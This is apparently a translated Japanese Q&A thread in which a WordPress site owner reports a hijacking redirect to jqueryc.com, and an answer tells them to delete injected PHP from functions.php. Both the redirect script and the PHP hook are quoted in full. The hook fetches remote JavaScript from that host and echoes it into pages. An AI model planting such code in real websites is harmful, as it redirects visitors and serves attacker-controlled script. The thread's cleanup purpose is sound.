0

今日は自分のウェブサイトにアクセスしてください。しばらくすると別のウェブサイトにリダイレクトされました。

これは一種のインジェクションだと思います。ページのソースを調べたところ、次の奇妙な行が見つかりました。

/*
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
  <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"/>
<meta http-equiv="refresh" content="0; url=http://www.jqueryc.com">
<script type="text/javascript">

    window.top.location.href = "http://www.jqueryc.com";

</script>
 </head>
</html>
 */
window.top.location.href = "http://www.jqueryc.com";
<style type="text/css"       media="print">#wpadminbar { display:none; }</style>

どうすればこのインジェクションを削除できますか?ワードプレスを再インストールする必要がありますか?はいの場合、xmlファイル内のすべての投稿をエクスポートする必要があり、それらの行がデータとともにエクスポートされるのではないかと心配しています。

何か提案をお願いしますか?

4

1 に答える 1

1

関数.phpのコードに移動し、次の行を削除します。

if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}
于 2012-11-25T07:17:13.410 に答える